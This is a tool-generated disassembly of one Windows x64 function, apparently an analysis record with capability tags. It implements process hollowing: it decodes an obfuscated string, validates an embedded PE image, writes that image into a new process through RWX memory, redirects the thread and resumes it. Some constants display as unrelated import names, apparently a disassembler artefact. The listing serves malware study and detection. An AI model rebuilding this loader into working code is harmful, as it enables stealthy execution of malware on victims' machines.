Function at 0x140129d40
Capabilities:
Allocate or change rwx memory
Create process on windows
Resume thread
Terminate process

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x5e0]
sub rsp, 0x6e0
movaps xmmword [rsp + 0x6d0], xmm6
mov rax, qword [0x14048bd00]
xor rax, rsp
mov qword [rbp + 0x5c0], rax
mov rbx, r9
mov r15, rdx
mov rsi, rcx
mov qword [rbp - 0x68], rbx
xor r12d, r12d
mov r8d, 0x104
lea rdx, [rbp + 0x4b0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x140129de2
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x140129ddb
inc rdx
cmp rdx, 0x1000
mov rcx, qword [rbx]
jb 0x140129dd6
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14012a306
mov rcx, r8
call fcn.140398064
xor al, al
jmp 0x14012a2c5
movabs rax, 0x56f78e4edcfe2203
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x60], rax
movabs rcx, 0x9a72bf2b81d67604
mov qword [rsp + 0x50], rcx
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x68], rax
movabs rax, 0x56f78e4edcfe2223
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov qword [rbp + 0x490], rax
mov qword [rsp + 0x50], rcx
mov rax, qword [rsp + 0x50]
mov qword [rbp + 0x498], rax
movdqa xmm0, xmmword [rsp + 0x60]
xorps xmm0, xmmword [rbp + 0x490]
movdqa xmmword [rsp + 0x60], xmm0
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x80], xmm1
lea rax, [rbp + 0x4b0]
mov rdi, 0xffffffffffffffff
mov r8, rdi
inc r8
cmp byte [rax + r8], 0
jne 0x140129e74
lea rdx, [rbp + 0x4b0]
lea rcx, [rsp + 0x70]
call fcn.140129940
nop
lea rax, [rsp + 0x60]
inc rdi
cmp byte [rax + rdi], 0
jne 0x140129e95
mov r8, rdi
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x70]
call fcn.14012bca0
xorps xmm0, xmm0
movups xmmword [rbp + 0x490], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x4a0], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x490], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x4a0], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x140129ef6
mov rdx, qword [rbx]
mov r8, qword [rbx + 0x10]
lea rcx, [rbp + 0x490]
call fcn.14012bca0
xorps xmm0, xmm0
movups xmmword [rbp + 0x470], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x480], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x470], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x480], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rbp + 0x4a8]
cmp rdx, 0xf
jbe 0x140129f83
inc rdx
mov rcx, qword [rbp + 0x490]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140129f7e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140129f7e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140398064
movdqa xmm6, xmmword [0x1404600a0]
movdqu xmmword [rbp + 0x4a0], xmm6
mov byte [rbp + 0x490], 0
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x140129fd9
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140129fd4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140129fd4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140398064
movsxd r14, dword [0x14048bdcc]
lea r13, [0x14048bd90]
add r14, r13
cmp dword [r14], 0x4550
je 0x14012a048
mov rdx, qword [rbp + 0x488]
cmp rdx, 0xf
jbe 0x14012a034
inc rdx
mov rcx, qword [rbp + 0x470]
cmp rdx, 0x1000
mov rax, rcx
jb 0x14012a02f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14012a272
call fcn.140398064
movdqu xmmword [rbp + 0x480], xmm6
mov byte [rbp + 0x470], 0
jmp 0x140129da1
lea rdx, [rbp + 0x470]
cmp qword [rbp + 0x488], 0xf
cmova rdx, qword [rbp + 0x470]
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], reloc.WS2_32.dll_sendto
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x140129ff3
xor edx, edx
mov r8d, 0x4d0
lea rcx, [rbp - 0x60]
call sub.VCRUNTIME140.dll_memset
mov dword [rbp - 0x30], 0x10000b
lea rdx, [rbp - 0x60]
mov rcx, qword [rsi + 8]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov rcx, qword [rsi]
test eax, eax
jne 0x14012a0d6
mov edx, 0xfffffffc
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp 0x140129ff3
mov r8d, dword [r14 + 0x50]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov rdx, qword [r14 + 0x30]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp - 0x70], rax
mov rcx, qword [rsi]
test rax, rax
jne 0x14012a10e
mov edx, 0xfffffffb
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp 0x140129ff3
mov r9d, dword [r14 + 0x54]
mov qword [rsp + 0x20], r12
mov r8, r13
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x14012a13a
mov edx, 0xfffffffa
mov rcx, qword [rsi]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp 0x140129ff3
movzx edi, r12w
cmp r12w, word [r14 + 6]
jae 0x14012a19d
nop word [rax + rax]
movzx eax, di
lea rcx, [rax + rax*4]
movsxd rax, dword [0x14048bdcc]
lea rdx, [rax + rcx*8]
mov r9d, dword [rdx + r13 + 0x118]
mov r8d, dword [rdx + r13 + 0x11c]
add r8, r13
mov edx, dword [rdx + r13 + 0x114]
add rdx, qword [rbp - 0x70]
mov qword [rsp + 0x20], r12
mov rcx, qword [rsi]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x14012a1d4
inc di
cmp di, word [r14 + 6]
jb 0x14012a150
mov rdx, qword [rbp + 0x28]
add rdx, 0x10
mov qword [rsp + 0x20], r12
mov r9d, 8
lea r8, [rbp - 0x70]
mov rcx, qword [rsi]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x14012a1e7
mov edx, 0xfffffff8
mov rcx, qword [rsi]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp 0x140129ff3
mov edx, 0xfffffff9
mov rcx, qword [rsi]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp 0x140129ff3
mov eax, dword [r14 + 0x28]
add rax, qword [rbp - 0x70]
mov qword [rbp + 0x20], rax
lea rdx, [rbp - 0x60]
mov rcx, qword [rsi + 8]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
jne 0x14012a218
mov edx, 0xfffffff7
mov rcx, qword [rsi]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp 0x140129ff3
mov rcx, qword [rsi + 8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xffffffff
jne 0x14012a23a
mov edx, 0xfffffff6
mov rcx, qword [rsi]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp 0x140129ff3
mov rdx, qword [rbp + 0x488]
cmp rdx, 0xf
jbe 0x14012a27e
inc rdx
mov rcx, qword [rbp + 0x470]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14012a279
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14012a279
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140398064
movdqu xmmword [rbp + 0x480], xmm6
mov byte [rbp + 0x470], 0
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x14012a2c3
inc rdx
mov rcx, qword [rbx]
cmp rdx, 0x1000
jb 0x14012a2be
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14012a306
mov rcx, r8
call fcn.140398064
mov al, 1
mov byte [rbx], 0
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov qword [rbx + 0x10], r12
mov rcx, qword [rbp + 0x5c0]
xor rcx, rsp
call fcn.140397b20
mov rbx, qword [rsp + 0x730]
movaps xmm6, xmmword [rsp + 0x6d0]
add rsp, 0x6e0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3